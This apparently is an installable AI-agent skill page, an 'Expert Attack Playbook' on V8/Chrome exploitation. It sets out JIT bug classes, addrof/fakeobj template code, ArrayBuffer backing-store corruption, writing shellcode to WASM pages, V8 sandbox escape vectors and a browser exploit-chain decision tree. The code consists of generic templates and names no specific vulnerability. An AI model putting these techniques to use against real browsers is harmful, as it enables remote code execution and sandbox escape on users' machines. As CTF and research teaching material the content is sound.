browser-exploitation-v8

安装量: 546
排名: #6509

安装

npx skills add https://github.com/yaklang/hack-skills --skill browser-exploitation-v8
SKILL: Browser / V8 Exploitation — Expert Attack Playbook
AI LOAD INSTRUCTION
Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.
0. RELATED ROUTING
sandbox-escape-techniques
— Chrome renderer sandbox escape via IPC/Mojo
heap-exploitation
— general heap concepts applicable to V8 heap
stack-overflow-and-rop
— ROP concepts for native code execution after V8 escape
binary-protection-bypass
— ASLR/NX bypass in browser context
Advanced Reference
Load
V8_EXPLOITATION_PATTERNS.md
when you need:
Detailed exploitation patterns and code templates
Heap layout manipulation and GC interaction
V8 sandbox bypass techniques
Object map confusion patterns
1. V8 ARCHITECTURE
Compilation Pipeline
JavaScript Source
↓ Parser
AST (Abstract Syntax Tree)
↓ Ignition
Bytecode (interpreted, profiling)
↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
Baseline code (fast startup)
↓ Maglev (mid-tier, V8 ≥ 10.2)
Mid-optimized code
↓ TurboFan (optimizing JIT)
Optimized machine code (with speculative optimizations)
↓ Deoptimization (if speculation fails)
Back to Ignition bytecode
Key V8 Concepts
Concept
Description
Tagged pointers
SMI (Small Integer):
value << 1
, HeapObject:
ptr | 1
Pointer compression
V8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox)
Maps (Hidden Classes)
Define object shape: property names, types, offsets
Elements kinds
Internal array type:
PACKED_SMI_ELEMENTS
,
PACKED_DOUBLE_ELEMENTS
,
PACKED_ELEMENTS
, etc.
Write barrier
GC bookkeeping when heap pointers are written
Garbage collection
Orinoco GC: minor (Scavenge) and major (Mark-Compact)
Object Representation (64-bit, pointer compression)
HeapObject in V8 heap (compressed):
+0x00: Map pointer (compressed, 32-bit offset)
+0x04: Properties/Hash
+0x08: Elements pointer (compressed)
+0x0C: Length (for arrays)
+0x10: Inline properties or backing store data
2. COMMON V8 BUG CLASSES
Bug Class
Description
Example
JIT Type Confusion
TurboFan assumes wrong type after optimization
Speculative type guard eliminated, wrong operation applied
Incorrect Bounds Elimination
JIT removes array bounds check based on wrong range analysis
CheckBounds
node eliminated → OOB access
Prototype Chain Confusion
Optimization assumes stable prototype, mutations invalidate
Prototype change after optimization → wrong property access
Turbofan Reduction Bug
Incorrect strength reduction or constant folding
Integer overflow in range analysis
Race Condition
SharedArrayBuffer + worker thread race
Type confusion via concurrent modification
Off-by-one in Builtin
Boundary error in built-in function implementation
String/Array bounds
Typer Bug
Incorrect type range computation in TurboFan
Typer
says value is in [0, N] but can be N+1
Triggering JIT Optimization
function
vuln
(
arr
)
{
// ... vulnerable code path ...
}
// Force optimization by calling many times
for
(
let
i
=
0
;
i
<
100000
;
i
++
)
{
vuln
(
arr
)
;
}
// Or use V8 intrinsics (d8 only):
%
OptimizeFunctionOnNextCall
(
vuln
)
;
vuln
(
arr
)
;
3. EXPLOITATION PRIMITIVES
addrof — Leak Object Address
// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object
function
addrof
(
obj
)
{
// Setup depends on specific bug
// Typically: trigger type confusion so array reads obj ref as float
object_array
[
0
]
=
obj
;
return
ftoi
(
confused_float_array
[
0
]
)
;
// float-to-int conversion
}
fakeobj — Create Fake Object Reference
// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
// read from confused object array → treated as object reference
function
fakeobj
(
addr
)
{
confused_float_array
[
0
]
=
itof
(
addr
)
;
// int-to-float conversion
return
object_array
[
0
]
;
// now a "pointer" to addr
}
Building Arbitrary R/W from addrof + fakeobj
// 1. Create a Float64Array with known layout
let
rw_array
=
new
Float64Array
(
0x100
)
;
let
rw_array_addr
=
addrof
(
rw_array
)
;
// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W
function
read64
(
addr
)
{
// Set fake array's backing_store = addr
write_to_fake_backingstore
(
addr
)
;
return
fake_float64array
[
0
]
;
}
function
write64
(
addr
,
value
)
{
write_to_fake_backingstore
(
addr
)
;
fake_float64array
[
0
]
=
value
;
}
4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS
When TurboFan incorrectly eliminates bounds checks:
function
trigger
(
arr
,
idx
)
{
// TurboFan thinks idx is always < arr.length
// But due to bug, idx can exceed bounds
return
arr
[
idx
]
;
// OOB read
}
// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length
What's Adjacent in V8 Heap?
Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:
let
arr1
=
new
Array
(
0x10
)
;
// spray object
let
arr2
=
new
Float64Array
(
0x10
)
;
// target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2
5. ARRAYBUFFER ARBITRARY R/W
ArrayBuffer
's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.
let
ab
=
new
ArrayBuffer
(
0x100
)
;
let
view
=
new
DataView
(
ab
)
;
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr
V8 Sandbox (Pointer Compression) Impact
Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
ArrayBuffer.backing_store
is a
sandbox pointer
(within the V8 cage, 4GB region)
Cannot directly point outside the V8 cage
Need sandbox escape to get full process memory access
6. WASM RWX PAGE
WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.
// Allocate WASM module → JIT compiles to RWX page
let
wasm_code
=
new
Uint8Array
(
[
0x00
,
0x61
,
0x73
,
0x6d
,
...
]
)
;
let
mod
=
new
WebAssembly
.
Module
(
wasm_code
)
;
let
instance
=
new
WebAssembly
.
Instance
(
mod
)
;
// instance.exports.func → points to RWX page
// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode
Modern Chrome
W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray. 7. V8 SANDBOX Architecture (V8 ≥ 11.x) Process Virtual Address Space: ┌──────────────────────────────────────┐ │ V8 Sandbox Cage (4GB region) │ │ ├── V8 Heap (JS objects) │ │ ├── ArrayBuffer backing stores │ │ ├── WASM memory │ │ └── External pointer table │ ├──────────────────────────────────────┤ │ Process memory outside cage │ │ ├── libc, Chrome code │ │ ├── Stack │ │ └── Other allocations │ └──────────────────────────────────────┘ Sandbox Escape Vectors Vector Method External pointer table Corrupt entries in the external pointer table to reference arbitrary addresses WASM code pointer Overwrite WASM function entry to jump to controlled shellcode JIT code corruption Write to JIT code page via race condition or confused pointer Mojo IPC (Chrome) Exploit Chrome IPC to attack browser process from compromised renderer Backing store seal bypass Find type confusion to get unsandboxed pointer 8. CHROME SANDBOX ESCAPE (OVERVIEW) After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires: Stage Target Example Renderer exploit V8 / Blink DOM Type confusion → shellcode IPC/Mojo bug Chrome IPC layer Use-after-free in Mojo interface Browser process exploit Privileged browser process Code execution outside sandbox Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers. 9. TOOLS

V8 debugging

d8 --allow-natives-syntax exploit.js

Enable V8 intrinsics (%DebugPrint, etc.)

d8 --trace-turbo exploit.js

Dump TurboFan IR

d8 --print-opt-code exploit.js

Print optimized machine code

Turbolizer: visual TurboFan IR graph

Chrome DevTools Memory panel: heap snapshots

Build V8 for debugging

git clone https://chromium.googlesource.com/v8/v8.git gclient sync gn gen out/debug --args = 'is_debug=true v8_enable_sandbox=false' ninja -C out/debug d8 10. DECISION TREE V8 vulnerability identified ├── Bug type? │ ├── JIT type confusion → trigger optimization, confuse array element kinds │ ├── Bounds check elimination → OOB read/write on array │ ├── Typer bug → incorrect range leads to OOB │ └── Builtin bug → direct memory corruption primitive │ ├── Build primitives │ ├── Can confuse object array ↔ float array? │ │ └── addrof + fakeobj → arbitrary R/W within V8 heap │ ├── OOB on array? │ │ └── Corrupt adjacent object (length/backing_store) → expand to full R/W │ └── Direct write primitive? │ └── Target WASM instance or ArrayBuffer metadata │ ├── V8 sandbox enabled? │ ├── YES (modern Chrome) → │ │ ├── R/W limited to V8 cage (4GB) │ │ ├── Need sandbox escape: external pointer table corruption, │ │ │ WASM code pointer overwrite, or Mojo bug │ │ └── Then proceed to shellcode execution │ └── NO (older V8, CTF, d8) → │ ├── Corrupt ArrayBuffer backing_store → absolute R/W │ └── Overwrite WASM RWX page → shellcode │ ├── Code execution method │ ├── WASM RWX page available? → write shellcode, call WASM func │ ├── JIT code writable? → overwrite JIT code │ └── ROP needed? → corrupt stack or return address │ └── Full browser exploit chain ├── Stage 1: V8 bug → renderer RCE ├── Stage 2: Mojo IPC bug → browser process compromise └── Stage 3: OS-level escalation (if needed)

返回排行榜